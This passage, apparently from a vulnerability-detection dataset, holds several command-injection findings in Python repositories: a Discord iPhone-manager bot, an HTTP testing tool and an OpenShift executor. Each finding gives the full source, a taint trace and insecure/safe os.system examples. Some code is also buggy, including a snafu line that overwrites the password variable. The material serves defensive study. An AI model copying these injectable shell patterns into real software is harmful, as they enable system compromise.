ID}\",\n\t \"Reboot's an iPhone\\n\",\n\t \"!reload {name of iphone} or !reload {iphone ID}\",\n\t \"Find's and kill's the PID for an iPhone's Xcode. Pogo will start again\\n\",\n\t \"!log {name of iphone} or !log {iphone ID}\",\n\t \"The bot will print out x lines from the device log file (x is set the config file)\\n\",\n\t \"!uplog {name of iphone} or !uplog {iphone ID}\",\n\t \"The bot upload the device's log file with the last x lines (x is set the config file)\\n\",\n\t \"!help\",\n\t \"Displays this list\"\n ]\n\nprint(\"The iPhone Manager by Oldmole ready!\")\n\n\ntry:\n\twith open(r'config.yaml') as file:\n\t\tdocuments = yaml.safe_load(file)\nexcept FileNotFoundError:\n\tprint (\"**** FULL STOP! ***** config.yaml NOT FOUND! ****\")\n\tsys.exit()\n\n#logpath = documents.get(\"logpath\")\nloglines = documents.get(\"loglines\")\nuploglines = documents.get(\"uploglines\")\ntoken = documents.get(\"token\")\nrole = documents.get(\"role\")\nchannel = documents.get(\"channel\")\niphone_list = []\nlog_list = documents.get(\"logpath\")\ndatabase_list = documents.get(\"paths\")\ndb_count = len(database_list)\ndb_error = 0\n\nfor dpath in database_list:\n\ttry:\n\t\tconnection = sqlite3.connect(dpath)\n\t\tcursor = connection.cursor()\n\t\tcursor.execute('SELECT * FROM device LIMIT 1,100')\n\t\trows = cursor.fetchall()\n\t\tfor row in rows:\n\t\t\tuuid, name = row[0], row[1]\n\t\t\tdigest = hashlib.sha1((uuid + name).encode()).hexdigest()\n\t\t\tiphone_list.append(IPhone(uuid, name, digest[:4]))\n\t\t\tconnection.commit()\n\texcept sqlite3.OperationalError:\n\t\tdb_error += 1\n\t\tprint (\"*** Error reading from %s database\" % dpath)\n\t\tprint (\"*** Wrong database name or path? ***\")\n\t\tprint (\"\\n\")\n\tfinally:\n\t\tconnection.close()\n\t\tif db_error == db_count:\n\t\t\tprint (\"**** FULL STOP! ***** Can't read from any database ****\")\n\t\t\tsys.exit()\n\n\nasync def reboot_command(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb = x.device_uuid\n\t\t\tcp = subprocess.run([\"idevicediagnostics\", \"-u\", b, \"restart\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t\tif cp.returncode == 0:\n\t\t\t\tawait message.channel.send(\"%s is rebooting\" % a)\n\n\t\t\telse:\n\t\t\t\tawait message.channel.send(\"Sorry, something has gone wrong... is the device connected?\")\n\nasync def reload_command(params, message):\n\tparams = ''.join(params)\n\tawait message.channel.send(\"Can I get a reload\")\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb_device_uuid = x.device_uuid\n\t\t\tfor proc in psutil.process_iter(): \n\n\t\t\t\ttry:\n\t\t\t\t\tpinfo = proc.as_dict(attrs=['pid', 'name', 'cmdline'])\n\t\t\t\texcept psutil.NoSuchProcess:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tif pinfo[\"name\"] == \"xcodebuild\":\n\t\t\t\t\t\tcmdline = \" \".join(pinfo[\"cmdline\"])\n\t\t\t\t\t\tif (b_device_uuid) in cmdline:\n\t\t\t\t\t\t\tp = psutil.Process(pinfo[\"pid\"])\n\t\t\t\t\t\t\tp.kill()\n\t\t\t\t\t\t\tawait message.channel.send(\"Yes, Done\")\n\t\t\t\t\t\t\treturn\n\n\tawait message.channel.send(\"Something has gone wrong\")\n\nasync def kill_command(params, message):\n\tparams = ''.join(params)\n\tif params == \"usb\":\n\t\tname = \"\"\n\t\tawait message.channel.send(\"Trying to finding and Kill usbmuxd. If I find it I will let you know\")\n\t\tfor proc in psutil.process_iter(): \n\n\t\t\ttry:\n\t\t\t\tpinfo = proc.as_dict(attrs=['pid', 'name'])\n\t\t\texcept psutil.NoSuchProcess:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tif pinfo[\"name\"] == \"usbmuxd\":\n\t\t\t\t\tp = psutil.Process(pinfo[\"pid\"])\n\t\t\t\t\tp.kill()\n\t\t\t\t\tawait message.channel.send(\"Found and Killed it\")\n\t\t\t\t\treturn\n\n\telse:\n\t\tawait message.channel.send(\"Sorry, something has gone wrong\")\n\t\treturn\t\t\t\t\n\nasync def help_command(params,message):\n\tparams = ''.join(params)\n\tif len(params) ==0:\n\t\tawait message.channel.send(\"You have these commands available: \\n\")\n\t\tawait message.channel.send(\"\\n\".join(command_list))\n\nasync def mac_command(params, message):\n\tparams = ''.join(params)\n\tif params == \"grab\":\n\t\tcp = subprocess.run([\"screencapture\", \"mac.jpg\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t\n\t\tif cp.returncode == 0:\n\t\t\tawait message.channel.send(\"Taken a Mac Screengrab\")\n\t\t\tawait asyncio.sleep(1)\n\t\t\tawait message.channel.send(file=discord.File('mac.jpg'))\n\nasync def list_iphones_command(params,message):\n\tparams = ''.join(params)\n\tif params != \"iphones\":\n\t\treturn\n\telse:\n\t\tawait message.channel.send(\"You have these iphones in your list:\")\n\t\tname_list = []\n\t\tfor x in iphone_list:\n\t\t\tname_and_id = \" with an ID of \".join([x.iphone_name,x.iphone_id])\n\t\t\tname_list.append(name_and_id)\n\t\tawait message.channel.send(\"\\n\".join(name_list))\n\n\t\t\nasync def screengrab_command(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\ta = x.iphone_name\n\t\t\tb = x.device_uuid\n\n\t\t\tcp = subprocess.run([\"idevicescreenshot\", \"-u\", b, \"phone.jpg\"], universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n\t\t\tif cp.returncode == 0:\n\t\t\t\tawait message.channel.send(\"Taken a screenshot\")\n\t\t\t\tawait asyncio.sleep(1)\n\t\t\t\tawait message.channel.send(file=discord.File('phone.jpg'))\n\t\t\t\treturn\n\n\t\t\telse:\n\t\t\t\tawait message.channel.send(\"Sorry, something has gone wrong... is the device connected?\")\n\t\t\t\treturn\n\t\t\n\tawait message.channel.send(\"Sorry, something has gone wrong... can't find this device\")\n\n\nasync def get_log(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\tdname = x.iphone_name\n\t\t\tdname_formatted = '\"*'+dname+'*\"'\t\n\t\t\tcmd = \"find . -name %s -name \\\"*full*\\\" -mtime -30m | head -1\" %dname_formatted\n\t\t\tfor xpath in log_list:\n\t\t\t\tlogpath = xpath\n\t\t\t\ttry:\n\t\t\t\t\tgetlogfilename = subprocess.run(cmd,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\t\tglfn_output = getlogfilename.stdout.strip('\\n')\n\t\t\t\t\tif glfn_output != (\"\"):\n\t\t\t\t\t\tbreak\n\t\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\t\treturn\n\t\t\tglfn_output = '\"'+glfn_output+'\"'\n\t\t\tcmd2 = \"tail -%d %s > tempfile\" % (loglines ,glfn_output)\n\t\t\ttry:\n\t\t\t\treadfile = subprocess.run(cmd2,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\t\n\t\t\t\trf_output2 = readfile.stdout.strip('\\n')\n\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\tawait message.channel.send(\"Sorry command failed, log not found\")\n\t\t\t\treturn\t\n\t\t\ti , line_loop , line_loop1, = 0 , 1 , 10\n\t\t\tlog_loop = loglines / 10\n\t\t\tlog_loop = (math.ceil(log_loop))\n\t\t\twhile i < log_loop:\n\t\t\t\tcmd3 = \"sed -n %d,%dp tempfile > tempout\" %(line_loop,line_loop1)\n\t\t\t\tcmd3p = subprocess.run(cmd3,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\tcmd4 = \"head -10 tempout\"\n\t\t\t\treadline1 = subprocess.run(cmd4,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\trf_output3 = readline1.stdout.strip('\\n')\n\t\t\t\ttime.sleep(.900)\n\t\t\t\tawait message.channel.send(\"```%s```\" % rf_output3)\n\t\t\t\ti += 1\n\t\t\t\tline_loop += 10\n\t\t\t\tline_loop1 += 10\n\t\t\treturn\n\t\n\nasync def up_log(params, message):\n\tparams = ''.join(params)\n\tfor x in iphone_list:\n\t\tif params == x.iphone_name or params == x.iphone_id:\n\t\t\tdname = x.iphone_name\n\t\t\tdname_formatted = '\"*'+dname+'*\"'\n\t\t\tcmd = \"find . -name %s -name \\\"*full*\\\" -mtime -30m | head -1\" %dname_formatted\n\t\t\tfor xpath in log_list:\n\t\t\t\tlogpath = xpath\n\t\t\t\ttry:\n\t\t\t\t\tgetlogfilename = subprocess.run(cmd,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\n\t\t\t\t\tglfn_output = getlogfilename.stdout.strip('\\n')\n\t\t\t\t\tif glfn_output != (\"\"):\n\t\t\t\t\t\tbreak\n\t\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\t\treturn\n\t\t\tglfn_output = '\"'+glfn_output+'\"'\n\t\t\tlogname = '\"'+dname+'.log\"'\n\t\t\tcmd2 = \"tail -%d %s > %s\" % (uploglines ,glfn_output, logname)\n\t\t\ttry:\n\t\t\t\treadfile = subprocess.run(cmd2,shell=True, check=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, universal_newlines=True,cwd=logpath)\t\n\t\t\t\trf_output2 = readfile.stdout.strip('\\n')\n\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\tawait message.channel.send(\"Sorry command failed, log not found\")\n\t\t\t\treturn\n\t\t\tawait message.channel.send(\"Uploading your last %d logfile line\" %uploglines)\n\t\t\tlogname = ''+dname+'.log'\n\t\t\tawait message.channel.send(file=discord.File('%s/%s' % (logpath,logname)))\n\t\t\treturn\n\n\n\n\ncommand_dict = {\n\n\"!sc\": screengrab_command,\n\"!help\": help_command,\n\"!reboot\": reboot_command,\n\"!reload\": reload_command,\n\"!mac\": mac_command,\n\"!list\" : list_iphones_command,\n\"!kill\" : kill_command,\n\"!log\" : get_log,\n\"!uplog\" : up_log\n}\n\nasync def check_command(message_text,message):\n\tparts = message_text.split(\" \",1)\n\tcmd = parts[0]\n\tparams = parts[1:]\n\n\tif cmd in command_dict:\n\t\tawait command_dict[cmd](params,message)\n\telse:\n\t\treturn\n\n\n\t\nclient = discord.Client()\n@client.event\nasync def on_ready():\n\t\n\tactivity = discord.Game(name=\"Taking Selfies\")\n\tawait client.change_presence(status=discord.Status.online, activity=activity)\t\n\nasync def send_message(message):\n\tawait message.channel.send(message)\n\n@client.event\nasync def on_message(message):\n\tif message.author == client.user:\n\t\treturn\n\tif str(message.channel) != channel:\n\t\treturn\n\tauthor_roles = map(lambda x: x.name, message.author.roles)\n\tif role not in author_roles:\n\t\treturn\n\n\tmessage_text = message.content\n\tawait check_command(message_text,message)\n\n\t\t\t\t\t\t\nclient.run(token)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 208, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "208"}}, {"lineNo": 215, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "3d7c0cc9d3f2f4474a94762174a42838b9d717a89a0f0a1b851d7946fcfe446a", "license": {"spdx": ["Apache-2.0"], "repo": "HttpTesting/pyhttp", "path": "httptesting/main.py", "repo_head_hexsha": "5fd9deddbd920b905297ec64215d502d41d48d2c", "stack_hexsha": "8090b7d8a4222966bc351912bad35d98958fbb28", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 347, "entireCode": "# ########################################################\n# 将根目录加入sys.path中,解决命令行找不到包的问题\nimport sys\nimport os\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.insert(0, rootPath)\n# ########################################################\nimport shutil\nimport time\nfrom httptesting.library import gl\nfrom httptesting.library import scripts\nfrom httptesting.library.parse import parse_string_value\nfrom httptesting.library.scripts import (write_file,\n read_file,\n remove_file,\n update_yam_content\n )\nfrom httptesting.library.config import conf\nfrom httptesting.library.emailstmp import EmailClass\nfrom httptesting.library.falsework import create_falsework\nfrom httptesting.library.har import ConvertHarToYAML\nfrom httptesting import __version__\nimport argparse\n\n########################################################################\n\"\"\"\nCommand line mode.\n\"\"\"\n\n\ndef _parse_config(config):\n \"\"\"\n Parse config parameters.\n \"\"\"\n if config:\n # Setting global var.\n if config[0] == 'set' and config.__len__() == 1:\n try:\n os.system(gl.configFile)\n except (KeyboardInterrupt, SystemExit):\n print(\"已终止执行.\")\n elif config[0] == 'set' and len(config) == 2 and '=' in config[1]:\n cf = config[1].split(\"=\")\n update_yam_content(gl.configFile, cf[0], parse_string_value(cf[1]))\n\n elif config[0] == 'get' and len(config) == 2 and '=' not in config[1]:\n content = conf.get_yaml_field(gl.configFile)\n\n try:\n print(content[config[1]])\n except KeyError as ex:\n print('[KeyError]: {}'.format(ex))\n else:\n print('Unknown command: {}'.format(config[0]))\n\n\ndef _convert_case_to_yaml(vert):\n \"\"\"\n Convert case to YAML.\n \"\"\"\n if vert:\n yamlfile = os.path.join(os.getcwd(), str(vert).strip())\n scripts.generate_case_tmpl(yamlfile)\n\n\ndef _convert_httphar_to_yaml(har):\n \"\"\"\n Convert http.har to YAML.\n \"\"\"\n if har:\n temp_dict = ConvertHarToYAML.convert_har_to_ht(har)\n ConvertHarToYAML.write_case_to_yaml('', temp_dict)\n\n\ndef _false_work(start_project):\n \"\"\"\n False work.\n \"\"\"\n if start_project:\n create_falsework(os.path.join(os.getcwd(), start_project))\n\n\ndef _get_file_yaml(case_file):\n \"\"\"\n Get file case YAML.\n \"\"\"\n temp_list = []\n # Get the yaml file name and write to the queue.\n if case_file:\n # Specify the execution CASE.\n fargs = ''.join(case_file)\n temp_list.append(os.path.join(os.getcwd(), fargs))\n cache_dir = os.path.join(gl.loadcasePath, \".am_cache\")\n write_file(\n os.path.join(cache_dir, 'yaml.cache'),\n 'w',\n ';'.join(temp_list)\n )\n return True\n return False\n\n\ndef _get_dirs_case_yaml(case_dir):\n \"\"\"\n Get dirs case YAML.\n \"\"\"\n temp_list = []\n if case_dir:\n for root, dirs, files in os.walk(case_dir):\n for f in files:\n if 'yaml' in f:\n d = os.path.join(os.getcwd(), case_dir)\n temp_list.append(os.path.join(d, f))\n # 缓存目录\n cache_dir = os.path.join(gl.loadcasePath, \".am_cache\")\n # Write file absolute path to file.\n write_file(\n os.path.join(cache_dir, 'yaml.cache'),\n 'w',\n ';'.join(temp_list)\n )\n return True\n return False\n\n\ndef run_min():\n \"\"\"\n Perfrom interface test entry.\n\n Args: None\n Usage:\n Command line execution.\n Return:\n There is no return.\n \"\"\"\n\n # Takes the current path of the command line\n cur_dir = os.getcwd()\n os.chdir(cur_dir)\n\n parse = argparse.ArgumentParser(\n description='httptesting HTTP(s) interface testing framework.',\n prog='httptesting'\n )\n parse.add_argument(\n \"-v\",\n \"--version\",\n action='version',\n version=\"%(prog)s {}\".format(__version__),\n help='Framework version.'\n )\n parse.add_argument(\n \"-f\",\n \"--file\",\n nargs='+',\n default='',\n help='The file path; File absolute or relative path.'\n )\n parse.add_argument(\n \"-d\",\n \"--dir\",\n default='',\n help='The folder path; folder absolute or relative path.'\n )\n parse.add_argument(\n \"-sp\",\n \"--startproject\",\n default='',\n help='Generate test case templates.'\n )\n parse.add_argument(\n \"-conf\",\n \"--config\",\n nargs=\"+\",\n default='',\n help='Basic setting of framework.'\n )\n parse.add_argument(\n \"-har\",\n default='',\n help='Convert the har files to YAML. har file is *.har'\n )\n parse.add_argument(\n \"-c\",\n \"--convert\",\n default='',\n help='Convert the har files to YAML. YAML file is *.yaml'\n )\n\n # Command line arguments are assigned to varibales.\n args = parse.parse_args()\n case_file = args.file\n case_dir = args.dir\n start_project = args.startproject\n config = args.config\n har = args.har\n vert = args.convert\n\n # convert YAML.\n _convert_case_to_yaml(vert)\n\n # Convert har files to YAML.\n _convert_httphar_to_yaml(har)\n\n # Setting global var.\n _parse_config(config)\n\n # False work.\n _false_work(start_project)\n\n # Write file absolute path to file.\n # Get the yaml file name and write to the queue.\n\n _get_file_yaml(case_file)\n _get_dirs_case_yaml(case_dir)\n # Began to call.\n RunTestCase.invoke()\n\n\n#########################################################################\n# Not in command mode --dir defaults to the testcase directory.\n# Example:\n# python3 main.py --dir=r\"D:\\test_project\\project\\cloud_fi_v2\\testcase\"\n#########################################################################\n\n\nclass RunTestCase(object):\n\n @classmethod\n def create_report_file(cls):\n cls.file_name = 'report.html'\n report_dir = os.path.join(\n os.path.join(os.getcwd(), 'report'),\n time.strftime('%Y%m%d_%H%M%S', time.localtime())\n )\n\n # 按日期创建测试报告文件夹\n if not os.path.exists(report_dir):\n # os.mkdir(report_dir)\n os.makedirs(report_dir)\n # 确定生成报告的路径\n cls.filePath = os.path.join(report_dir, cls.file_name)\n\n return cls.filePath\n\n @staticmethod\n def copy_custom_function():\n # 自定义函数功能\n func = os.path.join(os.getcwd(), 'extfunc.py')\n target = os.path.join(gl.loadcasePath, 'extfunc.py')\n\n if os.path.exists(func):\n shutil.copy(func, target)\n\n @staticmethod\n def tmpl_msg(low_path):\n # 发送钉钉模版测试结果\n config = conf.get_yaml_field(gl.configFile)\n # report外网发布地址ip+port\n report_url = config['REPORT_URL']\n # 钉钉标题\n content = config['DING_TITLE']\n # 从报告中取得测试结果数据 e.g. 3 tests; 2.23 seconds; 3 passed; 0 failed; 0 errors\n file_result = os.path.join(gl.loadcasePath, 'result.cache')\n #\n result_content = read_file(file_result, 'r')\n # Remove file\n remove_file(file_result)\n\n res_list = result_content.split(\";\")\n\n # 发送钉钉消息\n msg = \"\"\"{}执行【已完成】:\\n共{}个用例, 执行耗时{}秒, 通过{}, 失败{}, 错误{}, 通过率{}\\n测试报告: {}/{}\"\"\"\n msg = msg.format(content, res_list[0], res_list[1],\n res_list[2], res_list[3], res_list[4],\n res_list[5], report_url, low_path)\n return msg\n\n @staticmethod\n def run(path):\n \"\"\"\n Execute the test and generate the test report file.\n Args:\n path: Report file absolute path.\n Return:\n There is no return.\n \"\"\"\n config = conf.get_yaml_field(gl.configFile)\n exe_con = config['ENABLE_EXECUTION']\n exe_num = config['EXECUTION_NUM']\n rerun = config['ENABLE_RERUN']\n reruns_nums = config['RERUN_NUM']\n repeat = config['ENABLE_REPEAT']\n repeat_num = config['REPEAT_NUM']\n exec_mode = config['ENABLE_EXEC_MODE']\n debug_mode = config['ENABLE_DEBUG_MODE']\n last_failed = config['ENABLE_LAST_FAILED']\n failed_first = config['ENABLE_FAILED_FIRST']\n\n # custom function\n RunTestCase.copy_custom_function()\n\n # failed first\n failed_first_args = (' --ff ' if failed_first else '') if not last_failed else ''\n\n # last failed\n last_failed_args = (' --lf ' if last_failed else '') if not failed_first else ''\n\n # Enable repeat case.\n repeat_args = ' --count={} '.format(repeat_num) if repeat else ''\n\n # Enable CPU concurrency\n py_args = ' -n {} '.format(exe_num) if exe_con else ''\n\n # Enable failed retry\n reruns_args = ' --reruns {} '.format(reruns_nums) if rerun else ''\n\n # debug mode print debug info.\n debug = '' if debug_mode else '--tb=no'\n\n \"\"\"\n Load the pytest framework,\n which must be written here or DDT will be loaded first.\n from httptesting.case import test_load_case\n \"\"\"\n case_path = gl.loadcasePath\n # Output mode console or report.\n if exec_mode:\n cmd = 'cd {} && py.test -q -s {} {} {} {}'.format(\n case_path, reruns_args, 'test_load_case.py',\n repeat_args, debug\n )\n else:\n cmd = 'cd {} && py.test {} {} {} {} {} {} --html={} {} --self-contained-html'.format(\n case_path,\n py_args,\n reruns_args,\n last_failed_args,\n failed_first_args,\n 'test_load_case.py',\n repeat_args,\n path,\n debug\n )\n try:\n os.system(cmd)\n except (KeyboardInterrupt, SystemExit):\n print('已终止执行.')\n\n @staticmethod\n def invoke():\n \"\"\"\n Start executing tests generate test reports.\n :return: There is no.\n \"\"\"\n # CONFIG: Read configuration information\n config = conf.get_yaml_field(gl.configFile)\n dd_enable = config['ENABLE_DDING']\n dd_token = config['DD_TOKEN']\n dd_url = config['DING_URL']\n email_enable = config['EMAIL_ENABLE']\n # END CONFIG.\n\n # Test report file name.\n time_str = time.strftime('%Y%m%d_%H%M%S', time.localtime())\n path = RunTestCase.create_report_file()\n\n # Start test the send pin message.\n if dd_enable:\n scripts.send_msg_dding(\n '{}:★开始API接口自动化测试★'.format(time_str),\n dd_token,\n dd_url\n )\n\n # Execute the test and send the test report.\n RunTestCase.run(path)\n if dd_enable:\n # Template message.\n dir_list = path.split('\\\\')\n low_path = dir_list[len(dir_list) - 2]\n msg = RunTestCase.tmpl_msg(low_path)\n print(msg)\n scripts.send_msg_dding(msg, dd_token, dd_url)\n\n if email_enable:\n # Send test report to EMAIL.\n email = EmailClass()\n email.send(path)\n\n\nif __name__ == \"__main__\":\n run_min()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 289, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "get_yaml_field"}}, {"lineNo": 291, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"EXECUTION_NUM\"]"}}, {"lineNo": 293, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"RERUN_NUM\"]"}}, {"lineNo": 295, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configRunTestCase.run.config[\"REPEAT_NUM\"]"}}, {"lineNo": 311, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 314, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 317, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 334, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "334"}}, {"lineNo": 335, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 335, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 347, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "bee6017dbfc6ed1ff4e6db7cc143f08761de0d3ddbe0960a6f7fad98c3d081fd", "license": {"spdx": ["Apache-2.0"], "repo": "isabella232/snafu", "path": "snafulib/executors/openshift.py", "repo_head_hexsha": "91cc181f4073fa16d5be9ae6202342102f75d128", "stack_hexsha": "97d1eed2070eaf000dcbdb4bf3fe9d744a01be14", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 19, "entireCode": "# Snafu: Snake Functions - OpenShift Executor\n\nimport requests\nimport os\nimport configparser\nimport subprocess\n\ncontainer = \"jszhaw/snafu\"\n\nendpoints = {}\n\ndef executecontrol(flaskrequest, tenant):\n\tif not tenant in endpoints:\n\t\tusername = os.getenv(\"OPENSHIFT_USERNAME\")\n\t\tpassword = os.getenv(\"OPENSHIFT_PASSWORD\")\n\t\tpassword = os.getenv(\"OPENSHIFT_PROJECT\")\n\t\tif not username or not password or not project:\n\t\t\treturn\n\t\tos.system(\"oc login https://console.appuio.ch/ --username={} --password={}\".format(username, password))\n\t\tos.system(\"oc project {}\".format(project))\n\t\tos.system(\"oc new-app --name snafu-{} jszhaw/snafu\".format(tenant))\n\t\tp = subprocess.run(\"oc status | grep svc/snafu-{} | cut -d \" \" -f 3\".format(tenant), shell=True, stdout=subprocess.PIPE)\n\n\t\tendpoints[tenant] = \"http://{}\".format(p.decode(\"utf-8\"))\n\t\t# FIXME: mounting the tenant's volume container to /opt/functions-local\n\tendpoint = endpoints[tenant]\n\n\theaders = {}\n\theaders[\"X-Amz-Date\"] = flaskrequest.headers.get(\"X-Amz-Date\")\n\n\tdata = flaskrequest.data.decode(\"utf-8\")\n\t#method=r.method -> requests.post\n\n\treply = requests.post(endpoint + flaskrequest.path, data=data, headers=headers)\n\n\tif reply.status_code == 200:\n\t\treturn reply.content.decode(\"utf-8\")\n\telse:\n\t\treturn", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "13"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "os.getenv"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "916fe980bc156ce8734276decfa71a804a7f864ebaa4676dbcb1f93e0e52848e", "license": {"spdx": ["MIT"], "repo": "juan-rodriguez-rivas/covmut", "path": "modeling/utils.py", "repo_head_hexsha": "1d86ab032ebcb011d303adb094be0cf0acd74582", "stack_hexsha": "77c7d522d57360f89bafeb1de251e1adca5fca07", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 243, "entireCode": "import numpy as np\nimport gzip\nfrom Bio import SeqIO\nfrom pathlib import Path\nimport 